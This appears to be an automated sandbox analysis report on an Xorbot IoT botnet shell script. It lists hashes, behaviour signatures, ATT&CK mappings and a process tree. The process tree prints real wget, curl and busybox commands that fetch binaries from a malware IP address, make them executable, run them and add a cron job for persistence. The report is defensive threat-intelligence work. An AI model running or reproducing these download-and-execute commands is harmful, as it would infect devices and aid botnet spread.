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Analysis
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max time kernel
150s -
max time network
160s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
04/01/2025, 12:35
General
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Target
TDNJI_bins.sh
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Size
10KB
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MD5
6e6997bf49581bf245df9342aecf0877
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SHA1
290de347fd1c82a321665fe064a309b572388ea4
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SHA256
7b91847f2f91979b157d2d9a1c86a1af72f870474ff5e06955441dc3e831d8ff
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SHA512
4d2cac7676749f2c2c6ce261617d6fe39bcadea9483b63f0a92c759559d0634ba978ef30aa1601386b65cb34774826d65d623c8995115fd6011fb840fe6b6ef7
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SSDEEP
192:NPzbDjWKCG3lLb3Dnm+bd8rgHEzbDjWKz3Dnm+xO:N7CG3lLv6rgH8Q
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2119) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/TDNJI_bins.sh/tmp/TDNJI_bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW2⤵
- File and Directory Permissions Modification
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/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW./crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW2⤵
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/usr/bin/wgetwget http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq2⤵
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
39KB
MD57808631e4d831aea91a22eda9fe8db1e
SHA14e158a2ddac9de791eaaf92a9249700c5a5f42bb
SHA2568062f56dd43a8157210138faa26eea078b0f5fee6f7bbfb7f6e0dfb36767b74e
SHA512d117ed1afb179386513a762123bca1b26e664c8fb292045f271f9cada4c2cb33af0e31cc03482e82e325a23cab4060e48ce251ccb81df502fafdfe30f28357a4
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Filesize
210B
MD5b6eef472bbde28e3ecad34d0f329d088
SHA1f86609dbcdef2e700db04499382271273da9a261
SHA2569d0dc66c7a20af9d58dcdd4e2fcbf0c35250066ac56c3c7f422cb7455acc22b1
SHA512851e64a813acc4299cdfd39be956479d1c7f60b88a1e10057dc7e43a675d539da9107961e4f1844e2b4f33e327cc39bc47554b538f7a429e8353a39da4561573